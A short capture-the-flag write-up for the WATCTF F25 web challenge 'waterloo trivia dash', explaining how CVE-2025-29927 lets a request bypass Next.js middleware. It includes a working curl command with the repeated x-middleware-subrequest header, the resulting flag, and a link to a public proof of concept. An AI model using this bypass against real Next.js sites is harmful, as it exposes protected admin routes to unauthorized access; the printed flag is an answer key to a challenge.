> For the complete documentation index, see [llms.txt](https://thienguen.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thienguen.gitbook.io/ctf-writeups/ctf/2025/watctf-f25/web.md).

# web

this web series was easy enough, I got one, my teammate got one

## waterloo trivia dash

> Test your knowledge about Waterloo with this fun trivia game! Complete the quiz to unlock the prize page and claim your reward. <http://challs.watctf.org:3080/>

Although it does takes me a fat minutes to realized but I have already done a similar challenge in the past...so this is a freebie. After checking the version of Nextjs through wappalyzer.

### tldr;

<div><figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FPOuzzI06FBpbN68AmdhS%2Fimage.png?alt=media&amp;token=6fffea3d-528d-4ef6-8427-8dac047e206c" alt=""><figcaption></figcaption></figure> <figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FKsLYDBUlTlnbO2NPVq1X%2Fimage.png?alt=media&amp;token=4482606f-6812-4738-888d-a9f812b54822" alt=""><figcaption></figcaption></figure></div>

{% hint style="info" %}
A next.js app with middleware protecting `/admin`. CVE-2025-29927 lets you bypass middleware by sending an internal subrequest via the header `x-middleware-subrequest` with repeated `src/middleware`. I used the public PoC to scan endpoints and found `/admin` and `/admin/login` were indeed vulnerable.&#x20;

Requesting `/admin` with the bypass header returned the flag.
{% endhint %}

```bash
❯ curl -sSL --compressed 'http://challs.watctf.org:3080/admin'
-H 'x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'
| strings | grep -oE 'watctf\{[^}]+\}'
watctf{next_js_middleware_is_cool}
```

Flag — <mark style="color:$warning;">**`watctf{next_js_middleware_is_cool}`**</mark>

Reference

* The crafted header makes Next.js treat the request like an internal middleware subrequest. Combined with RSC/Next headers, this causes the middleware to be skipped or misapplied, exposing protected routes.
  * PoC: <https://github.com/websecnl/CVE-2025-29927-PoC-Exploit>